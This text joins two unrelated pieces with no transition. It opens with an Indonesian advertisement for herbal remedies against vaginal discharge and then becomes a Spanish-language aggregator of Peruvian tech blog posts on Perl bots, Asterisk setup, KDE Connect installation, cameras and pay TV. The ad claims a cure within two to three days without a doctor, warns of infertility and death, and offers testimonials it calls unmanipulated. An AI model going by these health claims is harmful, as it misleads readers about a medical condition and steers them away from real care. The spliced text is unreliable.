Keputihan sebaiknya diobati sejak dini, begitu timbul gejala. Karena keputihan kalau sudah kronis dan berlangsung lama akan lebih susah diobati. Selain itu kalau keputihan yang dibiarkan bisa merembet ke rongga rahim kemudian kesaluran indung telur dan sampai ke indung telur dan akhirnya ke dalam rongga panggul. Tidak jarang wanita yang menderita keputihan yang kronis (bertahun-tahun) bisa menjadi mandul bahkan bisa berakibat kematian. �Berakibat kematian karena bisa mengakibatkan terjadinya kehamilan di luar kandungan. Kehamilan di luar kandungan, terjadi pendarahan, mengakibatkan kematian pada ibu-ibu. Selain itu yang harus diwaspadai, keputihan adalah gejala awal dari kanker mulut rahim. Jadi jangan sampai terlambat untuk tahu apa yang menjadi penyebab keputihan. Yang pasti jangan anggap remeh keputihan. Supaya kamu tidak menyesal di belakang hari nanti, karena akibat yang ditimbulkan oleh penyakit keputihan ini

2 Jenis Keputihan

Keputihan Fisiologis
Adalah keputihan yang umum terjadi pada wanita pada semua usia, Biasanya terjadi pada masa subur, juga sebelum dan sesudah menstruasi. Kadang saat itu ada lendir yang berlebihan, itu normal. Dan biasanya tidak gatal dan tidak berbau.

Keputihan Patologis
Adalah keputihan yang terjadi karena infeksi pada vagina, adanya benda asing dalam vagina atau karena keganasan. Infeksi bisa sebagai akibat dari bakteri, jamur atau protozoa. Ciri-ciri keputihan patologis , warnanya tidak seperti lendir. �Keputihan patologis biasanya, warnanya seperti kepala susu, atau hijau kekuning-kuningan, atau bahkan bercampur darah, kalau keputihannya sudah menjadi penyakit. Ketika keputihan sudah menjadi penyakit, wanita yang menderita keputihan patologis ini akan merasa gatal pada daerah vagina, dan lendir yang keluar berbau, sehingga menimbulkan rasa yang tidak nyaman
Yang perlu di perhatikan mengenai keputihan ini adalah :
  • Cara membilas vagina yang benar, setelah habis buang air besar atau air kecil, sebaiknya membilas vagina dari arah depan ke belakang ke arah anus.
  • Keputihan fisiologis (normal), ciri-cirinya, lendirnya seperti lendir bening. Tidak gatal dan tidak berbau.
  • Keputihan patologis (karena penyakit), ciri-cirinya, warna lendirnya tidak bening lagi tetapi putih seperti kepala susu, bisa kuning kehijauan atau kecoklatan, bahkan bisa kemerahan karena adanya darah. Biasanya disertai rasa gatal, dan ada bau yang menyertainya.
Penyebab Keputihan Patologis :
  • Infeksi yang di akibatkan oleh bakteri, jamur, atau protozoa
  • Keganasan kanker leher rahim
  • Benda asing didalam vagina ( misalnya : kondom yang tertinggal)
Cara Mencegah Keputihan :
  • Menjaga kebersihan daerah vagina
  • Membilas vagina dengan cara yang benar
  • Jangan suka tukar-tukaran celana dalam menggunakan celana dalam bersama dengan teman wanita lainnya
  • Jangan menggunakan handuk bersamaan ( suka tukar-tukaran handuk )
  • Lebih berhati � hati dalam menggunakan sarana toilet umum
  • Jalani Pola hidup sehat, cukup tidur, olah raga teratur, makan makanan dengan gizi yang seimbang
  • Hindari gonta ganti pasangan dalam berhubungan
  • Bagi wanita yang sudah melakukan hubungan suami isteri, setiap tahun harus melakukan papsmear untuk mendeteksi perangai sel-sel yang ada di mulut dan leher rahim
 Obat Keputihan Alami - Obat Keputihan Herbal - Obat Keputihan Ampuh - Obat Keputihan Manjur

Untuk pencegahan dan pengobatan gunakan obat herbal alami dari De Nature yang sudah terbukti berkhasiat mengobati keputihan pada wanita, merapatkan kembali oragan kewanitaan pada daerah kewanitaan anda


Testimoni Asli Dari Pasien Kami Tanpa Sedikitpun di Manipulasi

082 137 651 xxx (maaf, nama di rahasiakan) Teman saya pernah terkena penyakit keputihan , sangat mengerikan, bau dan pokoknya tersiksa sekali. Tapi setelah minum obat dari De Nature Indonesia, dalam waktu 2 hari sudah banyak perubahan. Mantap banget

081 548 663 xxx (sms pasien kami dari Bekasi) Pagi mba, terimakasih banyak. Obat keputihan yang saya beli kemarin emang bagus, teman saya dari Jakarta juga mau beli. Sekali lagi terimakasih

085 247 210 xxx (sms pasien kami dari Sampit) Alhamdulillah, sekarang saya sudah sehat mas dari penyakit keputihan, saya juga tambah disayang suami, he he he. Saya menawarkan ke teman dan mau beli 4 paket ke Kal-teng. Terima kasih sis

testimoni

KELEBIHAN BELANJA ONLINE PADA KAMI
  • Setiap penyakit berbeda obatnya, jd obat kami khusus untuk penyakit itu sendiri!
  • Harga lebih murah
  • Kualitas terbaik
  • Tanpa perlu pergi ke dokter (tidak malu saat ke dokter, hemat waktu, dll)
  • Tidak perlu disuntik
  • Masa penyembuhannya singkat Proses obat hanya 2 � 3 hari
  • Barang dikirim ke alamat rumah Anda via TIKI, JNE kilat, dibungkus rapi. DanRAHASIA DIJAMIN.
  • Proses pengiriman cepat dan aman
  • Botol obat sengaja kami buat polos agar tidak ada yang tahu isinya apa, privasi Anda lebih terjamin.
  • Hanya kami yang selalu mengutamakan ke puasan konsumen
cara pemesanan

rekening_klinik_de_nature

SEGERA HUBUNGI KAMI
Untuk Pengobatan Cepat, Tepat, dan Aman
Sebelum Penyakit Anda Bertambah Parah dan
BERBAHAYA
Telp. SMS. WA 0823 2698 7979 || 0856 4238 2002
BBM 5E77AC16
De Nature Indonesia
Jln. Raya Pahonjean
Perum Cendana Asri No. 08-09
Majenang Cilacap 53257
Jawa Tengah

Obat Keputihan,Obat Keputihan Alami,Obat Keputihan Herbal,Cara Mengobati Keputihan,Cara Mengatasi Keputihan,Pengobatan Keputihan,Obat Keputihan Ampuh,Obat Keputihan Manjur,Obat Keputihan Untuk Ibu Hamil,Obat Keputihan Gatal

Viernes 23 de septiembre de 2016

Jaime G. Wong

Jaime G. Wong
Sueños de Azul

El Calendario al poder

Me ha llamado la atención una serie de artículos de diversas personas acerca de una estrategia muy interesante: agendar en el calendario todo lo que se va a hacer en el día, es decir, no solamente las tareas sino también descansos, tiempo de recreación y ocio, etc. Mi calendario consta de ciertas entradas accionables (e.g. pagos, reviews), de notificación (e.g. vencimientos, cumpleaños) y alguno que otro bloque de tiempo (reuniones, visitas). La idea es ahora definir cada minuto de tiempo.

Lo leí primero en el libro Deep Work de Cal Newport, donde respaldaba el beneficio de hacer esto así:

[…] the motivation for this strategy is the recognition that a deep work habit requires you to treat your time with respect. A good first step towards this respectful handling is the advice outlined here: Decide in advance what you’re going to do with every minute of your workday.

A pesar de la explicación en el libro, no me quedaba del todo claro. Probé varios formatos diversos sin ningún éxito, hasta que encontré un artículo de Cal donde publicó una foto de su calendario. Una imagen vale más que mil palabras.

Hay una diferencia sustancial en el definir deliberadamente lo que uno va a hacer en el día. Tengo una larguísima lista de tareas pendientes, pero al intentar esta estrategia inmediatamente me di cuenta de dos cosas: (1) que el tiempo es de veras escaso y (2) que malgasto mi tiempo terriblemente. ¿En serio? ¿Tienes poquísimo tiempo y aún así te das el lujo de malgastarlo? Me sentí terrible y culpable.

Y eso es bueno.

Así que manos a la obra. Está claro ahora que esta estrategia es superior. Todavía estoy en proceso de hacer que este nuevo sistema funcione, estoy aún en la etapa de try-and-fail, pero no quería esperar más para escribir sobre ello.

Uso Google Calendar. Encontraba difícil definir cada bloque de tiempo, pues estaba intentando definir cada tarea, así tome cinco minutos o quince minutos. Pero la UI de Google Calendar no está diseñada para mostrar rectángulos de tiempo con esa granularidad, los rectángulos se superponen y quedan ilegibles. Y si ocurre un cambio, mover todos esos bloquecitos se vuelve tedioso. Demasiada fricción.

Ya encontré una mejor forma: defino un bloque de tiempo de una hora o media hora y en mi cuaderno Circa anoto las tareas que haré en ese bloque de tiempo. Así tengo tareas de quince o diez minutos que hago en conjunto, y cualquier cambio inesperado es fácil de manejar en papel.

Como bonus, una foto de mis fallidos intentos:

Si les interesa leer más, este artículo de Drew Coffman es un buen punto de partida con enlaces a lo que otros han estado escribiendo y opinando.

It’s an eye-opening exercise: you’ll probably find that it’s tough — if not impossible — to find a place for everything. But this is the reality of your life. You’ve simply used the calendar to paint a true picture of the time commitments you have on your plate. And whether or not you make these commitments visible, they’re there. After all, if you’re going to be run over by a truck, you might as well get its license plate.

Lunes 29 de agosto de 2016

David Moreno

David Moreno
dm's blog

Webhook Setup with Facebook::Messenger::Bot

The documentation for the Facebook Messenger API points out how to setup your initial bot webhook. I just committed a quick patch that would make it very easy to setup a quick script to get it done using the unreleased and still in progress Perl’s Facebook::Messenger::Bot:

use Facebook::Messenger::Bot;

use constant VERIFY_TOKEN => 'imsosecret';

my $bot = Facebook::Messenger::Bot->new(); # no config specified!
$bot->expect_verify_token( VERIFY_TOKEN );
$bot->spin();

This should get you sorted. What endpoint would that be, though? Well that depends on how you’re giving Facebook access to your Plack’s .psgi application.

Domingo 21 de agosto de 2016

David Moreno

David Moreno
dm's blog

WIP: Perl bindings for Facebook Messenger

A couple of weeks ago I started looking into wrapping the Facebook Messenger API into Perl. Since all the calls are extremely simple using a REST API, I thought it could be easier and simpler even, to provide a small framework to hook bots using PSGI/Plack.

So I started putting some things together and with a very simple interface you could do a lot:

use strict;
use warnings;
use Facebook::Messenger::Bot;

my $bot = Facebook::Messenger::Bot->new({
    access_token   => '...',
    app_secret     => '...',
    verify_token   => '...'
});

$bot->register_hook_for('message', sub {
    my $bot = shift;
    my $message = shift;

    my $res = $bot->deliver({
        recipient => $message->sender,
        message => { text => "You said: " . $message->text() }
    });
    ...
});

$bot->spin();

You can hook a script like that as a .psgi file and plug it in to whatever you want.

Once you have some more decent user flow and whatnot, you can build something like:



…using a simple script like this one.

The work is not finished and not yet CPAN-ready but I’m posting this in case someone wants to join me in this mini-project or have suggestions, the work in progress is here.

Thanks!

Miércoles 17 de agosto de 2016

Jaime G. Wong

Jaime G. Wong
Sueños de Azul

De Cámaras, Rollos y CCDs

Mi primera cámara fue una Canon Prima Junior DX 4. Me la compré alrededor de 1996 o 97 cuando empecé a trabajar. Era una cámara de rollo “automática” — eso significa que no tienes que adelantar el rollo a mano. La usaba para tomar fotos en los campamentos y viajes, donde el más memorable fue el viaje para ver Star Wars – The Phantom Menace.

Por este tiempo recibimos unas fotos familiares de mi hermano que vive en Estados Unidos y me parecieron extraordinarias. Tenían profundidad de campo, lo que yo solo podía describir como “profesionales” o “de revista.” En una llamada telefónica de larga distancia (no existía Facebook ni Whatsapp entonces) le pregunté cómo había tomado esas fotos y fue la primera vez que escuché de las cámaras SLR.

En una revista PC World de 1995 leí por primera vez sobre las cámaras digitales. En ese entonces todas las cámaras comunes eran de rollo, lo opuesto al día de hoy. Había un anuncio y una pequeña reseña de la Casio QV-10. La performance de esa cámara era mala aún para su tiempo, pero era un concepto extraordinario. Poco a poco comenzaron a popularizarse las cámaras digitales, empezaron a llegar a Perú y a bajar de precio. Oliver y yo soñábamos con tener nuestra propia cámara digital.

Ya en el 2002 me compré una Kodak Easyshare LS420. Había ahorrado durante un buen tiempo y la cámara estaba a mi alcance. Igualmente, la LS420 era pésima para su tiempo, pero era una cámara digital después de todo.

En el 2007 me compré mi primera SLR, una Canon EOS 300 (Rebel 2000). Sip, compré una cámara de rollo en una época digital porque quería una SLR. La compré de segunda a través de DeRemate Perú y estaba cosméticamente gastada, algo que el vendedor nunca mencionó. Bueno, tampoco mencionó que traía el battery grip BP-300. La cámara jamás presentó falla alguna, así que fue una buena compra después de todo.

En el año 2008 Oliver y yo nos compramos cada uno la Canon Powershot S5 IS, a quien de cariño bautizamos “Mara.” Es una gran cámara con quien pude tomar muchas fotos de las cuales me siento orgulloso. Aprendí bastante de fotografía con ella.

En el 2012 me puse a usar seriamente la cámara que heredé de mi Papá, la Olympus 35 LC, una rangefinder de rollo. Por su legado es una cámara muy especial para mí, y como rangefinder es toda una experiencia usarla.

En el mismo 2012 me compré mi primera SLR digital, una Canon EOS Rebel T1i. Lo curioso es que la cámara era ya un modelo antiguo, del año 2009, pero era lo mejor que podía adquirir. La compré con un battery grip y un lente EF 50mmm f/1.8 (el mkII).

En el 2014 Thalía me consiguió una Fujica ST 901 y una Olympus OM-1. Ambas funcionan, pero requieren una buena limpieza y lentes. Me gusta bastante la OM-1, es impresionante cuán pequeña es. La Fujica no me llama mucho la atención, a pesar de que la moderna Fuj XT-1 tiene su diseño inspirado en ella. Quizás es el hecho de que requiere una batería para funcionar, mientras que la OM-1 es completamente mecánica (a excepción del metering).

En el 2014 mismo compré un par de lentes y el vendedor me envió también una Canon 750 QD, diciendo que los lentes fueron parte de esa cámara y le pareció apropiado incluirlos en el paquete. ¡Wow! La 750 QD es una cámara muy básica, una “SLR Point-and-Shoot,” if you will. Nunca la he usado pues la batería es difícil conseguir en mi ciudad y, en serio, es bien básica.

En el 2015 me obsequiaron una Canon AE-1, una cámara SLR de rollo la cual he usado sólo una vez para probarla y la disfruté muchísimo. Está algo gastada del buen uso que le dio su dueño original, pero funciona todo perfecto.

¿Qué es de cada cámara?

La Canon Prima Junior DX 4 me la robaron de mi mochila. La Kodak LS420 está averiada. Primero falló el cargador, luego la batería agotó sus ciclos y la pantalla falla. La Canon EOS 300 aún la tengo y funciona. Vendí a Mara (la Canon Powershot S5 IS) luego de tenerla buen tiempo en desuso con la llegada de la T1i. A veces me arrepiento, pero la verdad es que igual la tendría guardada. La Olympus 35 LC tiene el obturador averiado; tengo pendiente arreglarla, pero encontrar tiempo es muy difícil. La Canon EOS Rebel T1i es mi cámara principal y la uso actualmente. La Canon 750 QD está guardada. La Fujica ST 901 y la Olympus OM-1 están guardadas hasta conseguir lentes. La Canon AE-1 está guardada esperando ver acción una vez más.

Me gustaría tener una point-and-shoot sencilla para que Thalía pueda tomar fotos de los chicos. Una que quepa en el bolsillo o cartera. A veces lo pienso demasiado y ya estoy soñando con una Canon G9x o una Ricoh GRD IV.

Hmmm, ¿qué cámaras sueño tener? Una Fuji X100T, o quizás una X-T1. Cuando anunciaron la X100 me gustó mucho. De no ser por el costo del rollo, me gustaría tener una Fuji Instax. Y una Olympus Mju II también, por ser un clásico. Si el dinero no fuese problema, escogería una Leica M Monochrom, pues me encanta el blanco y negro. ¡Oh! Quiero una TLR también, quizás una Rolleiflex, aunque el rollo de 120 es imposible de conseguir en mi ciudad. Y ojalá Canon siga los pasos de Nikon y saque un equivalente a la Nikon Df, quizás inspirada en la AE-1.

Martes 09 de agosto de 2016

Jaime G. Wong

Jaime G. Wong
Sueños de Azul

Buscando un hobby

Luego de leer Deep Work de Cal Newport, estoy en la búsqueda de un nuevo hobby para relajarme, descansar mi mente y estimular mi creatividad.

Mis requerimientos:

  • Construir algo físico, preferentemente. Trabajo con bastantes intangibles, así que la idea de construir algo con mis manos me atrae mucho.
  • Que sea barato, materiales fáciles de conseguir; no todo se puede encontrar en Ica.
  • Relajante, que lo disfrute, que tenga ciclos cortos de feedback y gratificación.
  • Rápido de tomar y dejar. En la medida que sea posible no quiero tener que hacer toda una preparación inicial y/o guardar un montón de cosas al terminar. Bonus si puede ser hecho en cualquier lado, pero no es realmente indispensable.

Algunas ideas:

  • Pintar con pintura de verdad (no es barato, y prefereriría algo más novedoso).
  • Componer pasajes cortos de música.
  • Tocar guitarra. O el teclado.
  • O aprender FM synthesis (¿DEXED? ¡O Edlib, jaja!).
  • Tejer, bordar o coser.
  • Papercrafts.
  • Construir modelos a escala (no es barato, difícil de conseguir).
  • LEGO (costoso).
  • Carpintería (no es barato, no tengo herramientas ni espacio, difícil de conseguir).
  • Cuero (¿será costoso? ¿Herramientas, materiales?).
  • Bookbinding, stationary.
  • Construir cosas con Google Sketchup, Blender o Sculptris (pero prefiero algo físico).

¿Alguien tiene más ideas?

Jueves 26 de mayo de 2016

Miguel Rabí

Miguel Rabí
Miguellinux

Hacer funcionar un viejo ATA Grandstream FXS / FXO HT488 – HT503

Me encontré un viejo ATA Grandstream HT488 que nunca funciono bien por FXO con Asterisk.

Este fue el truco aplicado:

En el extensions.conf

exten => _9XXXXX.,1,Dial(SIP/@gata,50,tTD(w${EXTEN:1}))
exten => _9XXXXX.,2,Hangup

Con esto ya marcas directo 9 y el numero…

En en mis pruebas conectando el equipo a otro gateway propietario tuve
que usar la siguiente impedancia:

PSTN AC Termination: “Global complex impedance” impedance

Cuando puse el gateway sonaba y sonaba y nunca me daba linea… con
eso se arreglo, era un tema de señalizacion analógica…

En el sip.conf

[gata]
type=peer
secret=ghy89ysioejhe83h ;uno muy dificil por si se expone hacia internet
context=from-internal
host=ip del ht488 en la misma LAN que el Asterisk
port=5062 ;ojo con eso
disallow=all
allow=ulaw
allow=alaw
dtmfmode=inband ;esto también es discutible
canreinvite=no ;opcional
nat=no

En el mismo HT488 puedes indicar a que extensión del Asterisk
reenviarías las llamadas entrantes por la linea FXO., basta con
configurar una extensión en el contexto adecuado…

El equipo NO se registra, por lo menos en lo que al puerto FXO se refiere. El FXS funciona tradicionalmente, cuenta SIP registrada en el Asterisk.

No lo he probado con el HT503 pero tengo la impresión que funciona de la misma manera. Lo que NO funciona son los Gateways que sacaron luego de 4 y 8 puertos y hasta una entrada de video H263… cosas raras…

primire apeluri ht488

 

 


 

Jueves 19 de mayo de 2016

Miguel Rabí

Miguel Rabí
Miguellinux

BitTorrent lanza servicio de live streaming

BitTorrent el conocido servicio de comparticion de archivos p2p sigue haciendo intentos de alejarse de su imagen de “facilitador” de pirateria, esta vez, anunciando un nuevo servicio que podría ser revolucionaria (nuevamente) BitTorrent Live, una plataforma de streaming lineal la cual podría transmitir muchos eventos en vivo a muchísimos espectadores. Lo mas interesante es que transmitirian estos eventos con un retraso, entre el evento y los espectadores inferior a los 10 segundos, cosa que actualmente es casi imposible para el Streaming tradicional, solo ocurre en soluciones de de transmisión profesional en formatos no comprimidos como JPEG2000 entre otros, que no llegarían a esa tan ansiado retardo de solo 10 segundos.

bt_live-hero-2-940x550

Empoderado por nuestro protocolo propietario y patentado de Streaming en vivo peer-to-peer o P2P podremos llevar a grandes audiencias contenidos y eventos con una latencia menor a los 10 segundos y sin requerir de costosas CDNs

indico Christian Averill, VP de comunicaciones de BitTorrent en el blog oficial de la marca.

BitTorrent ha realizado la demostración del servicio en la feria INTX, pero la fecha oficial de lanzamiento no ha sido aun anunciada. El servicio tendra inicialmente 13 canales lineales en vivo tales como AWE, Clubbing TV, Newsmax, One World Sports y un canal basado en un podcast de tecnologia.

Un servicio por subscripción no ha sido anunciado aun pero se ha comentado que seria la forma ideal de monetizar este proyecto, adicionalmente al licenciamiento de esta tecnologia para transmisiones en vivo como noticias y deportes.

Link al Blog de BitTorrent

Blog BitTorrent

 

 


 

Miércoles 27 de enero de 2016

Superbowl 1984

Una genialidad de Steve Jobs y Ridley Scott para el Superbowl 1984

Alex Celi

Lunes 30 de noviembre de 2015

Downgrade Android Lollipop 5.0.1 a Android 4.4.4 KitKat

Seguramente eres de los que a podido desbloquear y Rootear tu bendito Celular Androide (en mi caso MotoG XT1032) e, instalar  versiones superiores  a la que tenías, pero resulta que nos dio más problemas que soluciones, por las que necesitamos... Seguir leyendo →

Sábado 31 de octubre de 2015

The KDE LaKademy 2014 experience – São Paulo, Brazil.

Long time without posting :)

Well, from August 27th to 30th, KDE contributors met in LaKademy (Latin American Akademy).  We got together in São Paulo, Brazil and the meeting took place in the Free Software Competence Center (CCSL) at University of São Paulo (USP).

It was my third time in Brazil and was great to meet again with my KDE Brazilian friends and learn more about the KDE community. Besides discussing about KDE applications, frameworks, technologies, projects… we had some really interesting talks and hacking sessions of course.

KDE - LaKademy

KDE - LaKademy

As usual, we enjoyed some beers everyday and visited the Garoa Hacker Clube, one of the most important Hacker Spaces in São Paulo. These guys use full Open Source, software and hardware.

Take a look at this 3D printer printing the KDE logo.

64_

I gave a talk about the amazing KDE Connect.

 

I want to thank the KDE e.V for sponsoring the event and my trip. It’s really important to meet in our region and know better each other, these kind of meetings are really valuable for us.

You can see the full report of the LaKademy here and some pictures to share:

 

See you at next Lakademy!!!


Filed under: Brasil, KDE, Open Source, Software Libre, Traveling

Domingo 09 de agosto de 2015

Freepto 1.0

Freepto es un sistema GNU/Linux completo adaptado para memorias USB. Esto significa que puedes llevar la memoria USB siempre contigo y utilizar cualquier ordenador como si fuera tu portátil. Además, los datos que guardes dentro de la memoria serán automáticamente... Seguir leyendo →

Martes 12 de mayo de 2015

Código de Conducta de la comunidad KDE

Comunidad KDE

Invito a todos los hispanohablantes, miembros de KDE, a leer nuestro Código de Conducta. Esto es muy importante para mantener una buena relación entre todos los miembros de esta maravillosa comunidad internacional.

https://pe.kde.org/code_of_conduct.php

Si perteneces a KDE o alguna otra comunidad de Sofware Libre o código abierto, por favor, difúndelo.

Gracias

Ronny


Filed under: KDE, Planet KDE-es

Miércoles 22 de abril de 2015

Brando Torres

Brando Torres
NachX’s Blog

Instalar HTC SENSE Cámara y Galeria V6 en CyanogenMod 12.1

Hace poco termine de instalar CyanogenMod 12.1 en mi HTC One M8 luego de una larga espera a que mi operador pueda “lanzar” la actualización, cosa que nunca llegó (ni llegará). Para esto seguí varios pasos, desde desbloquear mi Bootloader y luego ponerlo en S-OFF para luego poder convertirlo en Developer Edition así poder tener … Sigue leyendo Instalar HTC SENSE Cámara y Galeria V6 en CyanogenMod 12.1

Viernes 17 de abril de 2015

KDE Connect: Connecting your devices to KDE

KDE Connect
KDE Connect was initially developed as part of a KDE GSoC project in 2013 and is one of those exciting KDE projects that makes you love more this awesome community.  KDE Connect aims to communicate and connect all sort of devices to KDE and vice versa. The objective of KDE Connect is to make your devices interact with each other in a simple and efficient way. Some examples:  Imagine, with a single click, send a document/picture/video from your desktop to your Android phone or control your desktop media player from your mobile. KDE Connect, at the moment, support the following features:

  • Show your phone battery next to your computer battery.
  • Share the clipboard between devices.
  • Remote control your music and videos.
  • Show phone notifications in KDE and keep them in sync.
  • Pause music/videos during a phone call.
  • Send and receive pings between phone and computer.
  • Browse the remote device filesystem using SFTP.
  • Receive and send files, URLs or plain text easily.
  • Show notifications for calls ans SMS.
  • Use your phone as a touchpad.

To make this connection possible, you need to install both: The KDE Connect software on your desktop and the KDE Connect app for your mobile device.

INSTALL KDE CONNECT ON YOUR DESKTOP

Some popular Linux distributions like Debian,  Ubuntu,  OpenSUSE,  Fedora… already have KDE Connect available on their repositories. Use your package manager to install it, but you can compile it from the source code. To install it on openSUSE & Debian use the following instructions (It should be similar on other Linux distros):

– Install the requiring packages:

openSUSE : 
sudo zypper in kdebase4-workspace-devel libqca2-devel libqjson-devel libfakekey-devel

Debian : 
sudo aptitude install kde-workspace-dev libqca2-dev libqjson-dev libxtst-dev libfakekey-dev

– Clone the repository:

git clone git://anongit.kde.org/kdeconnect-kde

– Compile it:

cd kdeconnect-kde
mkdir build
cd build
cmake .. -DCMAKE_INSTALL_PREFIX=/usr
make
sudo make install

– Make KDE aware of KDE Connect.

Run the following command as a non-root user:

qdbus org.kde.kded /kded loadModule kdeconnect (It should return true)

– Rebuild system configuration cache:

kbuildsycoca4 -noincremental

Once you have KDE Connect installed, you will see it in your System Settings: KDE Connect This option will be empty until your pair your desktop with your mobile. We’ll talk about it next lines.

INSTALL KDE CONNECT ON YOUR MOBILE

Currently, there is a KDE Connect Android app available on Google Play and the IPhone app is currently being developed by other Google Summer of Code student. For the Android app, version 4.1 or higher is recommended to get all the functionality, but you could still use the app in old Android versions.

  • The first time you open the KDE Connect Android app, you will see the hostname of your desktop:

KDE Connect Android app

CONNECT DESKTOP AND MOBILE

Now you need to pair your devices. It’s so simple, the only requirement is that your mobile and desktop must be connected to the same Wi-Fi network.

  • Click on your hostname and request pairing:

KDE Connect Android app

  • A notification will appear on your desktop:

KDE Connect pairing request

  • You should accept the request you send from desktop to mobile too:

KDE Connect pairing requested

  • Once you have accepted, the desktop is listed on the connected devices view:

KDE Connect connected devices

  • After the successful pairing you can enable/disable the features and plugins you need in the KDE Connect Settings:

KDE Connect Settings

TESTING THE PAIRING

  • Send a ping from your device to the desktop and vice versa:

KDE Connect mobile ping KDE Connect desktop ping

START HAVING FUN

  • On your mobile, when you click on your device connected you will an option to select/deselect plugins:

KDE Connect Android plugins KDE Connect Android plugins

  • Control your media player from your mobile:

KDE Connect control media player

  •  Send a file from mobile to desktop.  KDE Connect is now listed on your apps to share content.

KDE Connect Android send file KDE Connect desktop file received

  • Use your mobile as a touchpad. Actually, this is one of my favorite features, use your mobile to control your desktop windows, tabs and other stuff is amazing.

KDE Connect Android touchpad

  • Send a file from desktop to mobile:

KDE Connect desktop send file KDE Connect desktop received file

  • Also, there is a Plasmoid (Widget) for your KDE desktop, where you can see your devices:

KDE Connect Plasmoid Other features include get notifications on your desktop when you receive a phone call or an SMS, copy an URL on your mobile and open it on your desktop, etc. These are just some examples of what you can do with KDE Connect As you can see the technology has great potential and a very promising future.

Happy KDE Connect


Filed under: Android, KDE

Lunes 13 de abril de 2015

Brando Torres

Brando Torres
NachX’s Blog

Permiso de escritura a tu aplicación Android

Hace poco trabajando en un pequeño proyecto con Android, me vi en la necesidad de crear una pequeña base de datos con SQLite y que obviamente estaría en la memoria de mi teléfono, pero por alguna razón tenia errores de acceso al crearla, pues si, se debía agregar el permiso para que nuestra aplicación pueda … Sigue leyendo Permiso de escritura a tu aplicación Android

Martes 07 de abril de 2015

Brando Torres

Brando Torres
NachX’s Blog

IntelliJ IDEA – Mas que una herramienta inteligente

Ya llevo un par de meses desarrollando con esta excelente herramienta y la verdad me viene muy bien, mas un trabajando con algunos proyectos con Android. Estuve probando la versión de Android Studio y esta mas que interesante, pero aun he tenido algunos inconvenientes sobre todo al momento de compilación, cosa que no me pasan … Sigue leyendo IntelliJ IDEA – Mas que una herramienta inteligente

Jueves 18 de diciembre de 2014

SOFTWARE LIBRE MODALIDAD DE DESARROLLO

Que es el Software? El software es lo que hace funcionar una máquina, una máquina sin software es una caja vacía que no nos sirve para nada. A que se refiere con libre ? Particularmente es que viene abierto que... Seguir leyendo →

Domingo 16 de noviembre de 2014

Miguel Rabí

Miguel Rabí
Miguellinux

Cord cutters, el futuro de la TV de paga

Los estadounidenses están abandonando cada vez más sus servicios de televisión de pago tradicionales, mirando hacia los servicios de banda ancha en su lugar, es lo que nos dice un nuevo informe de The Diffusion Group.

El investigador dice que este año el 14,1% de los usuarios adultos en los Estados Unidos de banda ancha no tendrá un servicio de televisión de paga, frente al 12,4% de hace un año, el 11,2% en 2012 y 8,6% en 2011.

TDG sostiene que los servicios de suscripción de televisión de pago ya han alcanzado su punto máximo en los Estados Unidos y que su declive, que comenzó en 2011, va a continuar, y agregó que durante los próximos meses – por primera vez en la historia – las suscripciones de banda ancha domesticas superarán en número a las televisión de paga.

“Hoy en día, los servicios de banda ancha residenciales se utilizan en el 75% de los hogares estadounidenses, es decir, 13 millones de hogares con banda ancha están actualmente con Internet de banda ancha y sin servicios de televisión de paga tradicional”, señaló Michael Greeson, presidente de TDG.

cordcutters

Greeson dijo que la transición ofrece una oportunidad para que nuevos proveedores de video, ya sea puro online como Netflix o la creciente lista de cadenas de televisión que esta o planea ir directamente al consumidor, sin pasar por los operadores tradicionales.

“Reducir al mínimo los daños y maximizar las oportunidades presupone una comprensión de que estos consumidores son, lo que impulsa sus decisiones, y lo que esperan de un servicio de televisión de pago, ya sea tradicional o en línea”, agregó.

TDG, en su informe, “TV paga, los Refugiados, de 2014,” dijo que hay dos sub-grupos primarios, “Cortadores de cable” y los “Nunca cable”, tienen características demográficas distintas y ven video de manera diferente, por tanto, exigen a los operadores y a los nuevos proveedores de vídeo de dirigirse a ellos con diferentes estrategias, paquetes y precios.

Si bien los expertos señalan que la disminución es aun relativamente leve en lo que respecta a los números de televisión de pago, el problema más grande es que esos números no han mantenido el ritmo de crecimiento de la población de Estados Unidos y en la creación de nuevos hogares. En resumen, la penetración de la televisión de pago está disminuyendo en los EE.UU., como informó recientemente el Grupo de Investigación Leichtman.

Por el contrario, como TDG señala, el crecimiento de la banda ancha se está acelerando rápidamente y pronto llegará a más de 100 millones de usuarios en los EE.UU. Algunos otros investigadores, de hecho, indican que el 99% de los estadounidenses ya tienen acceso a banda ancha, ya sea fijo o móvil.

HBO, CBS, Univisión, Dish, Verizon y otros ya han revelado sus planes para proveer servicios over-the-top (OTT o por encima de los operadores de TV paga y directamente a sus suscriptores) para llegar a este grupo cada vez más atractivo de los consumidores (que incluyen una dosis muy fuerte de los Millennials (los nacidos después de 1980); podemos esperar más empresas de radiodifusión, redes de cable e incluso los operadores para proveer contenidos directamente al consumidor.


Mi comentario es, que la realidad del mercado de Television de paga en USA, aunque pareciera ser el que guia los mercados, no es el ejemplo directo para muchas regiones, en especial Latinoamérica donde aun estamos muy lejos de haber alcanzado los maximos de penetración de la tv paga tradicional y las redes de banda ancha aun no están totalmente desarrolladas para alcanzar los niveles de ancho de banda y capacidad (CDNs Content Delivery Networks) necesarias para entregar el contenido de forma confiable a todos los dispositivos en diferentes condiciones de conectividad.

En Europa, el IPTV es sin lugar a dudas una de las formas de distribución de TV paga mas extendidos, así como el DTH (Satélite) y el CaTV (Cable) mientras que los servicios OTT están creciendo rapidamente los limites geográficos y los derechos de transmisión de estos, los circunscribe a zonas geográficas y públicos muy limitados.

En el caso de USA, se unen 3 factores, para el “cord cutting” y son crisis economica (los precios de la TV paga se mantienen sobre los $80 us/mes y muchas veces no están asociados en paquete con el proveedor de internet y/o de telefonia fija), gran despliegue de las redes de datos y CDNs y el tamaño enorme del mercado, donde los contenidos no están restringidos geograficamente como en Europa, por tanto los productos OTT (streaming sobre redes de datos) tienen un mercado muy grande y pueden salir a precios muy bajos con una oferta VoD (Video On Demand), Catch Up, time shifting, catalogo de películas y series, generando un producto mucho mas atractivo, ver lo que se desee, en el momento que se desee, en el dispositivo que mas nos acomode, TVs, Tablets, celulares, etc…

Sábado 27 de septiembre de 2014

Iván Cachicatari

Iván Cachicatari
Fatal exception

Actualizar bash para evitar ataques Shellshock

Cuando vi el titular dije: “Debe tratarse de IE o algo con Windows…” pero cuando leí el contenido: WTF!! bash metido en esto? no puede ser!!

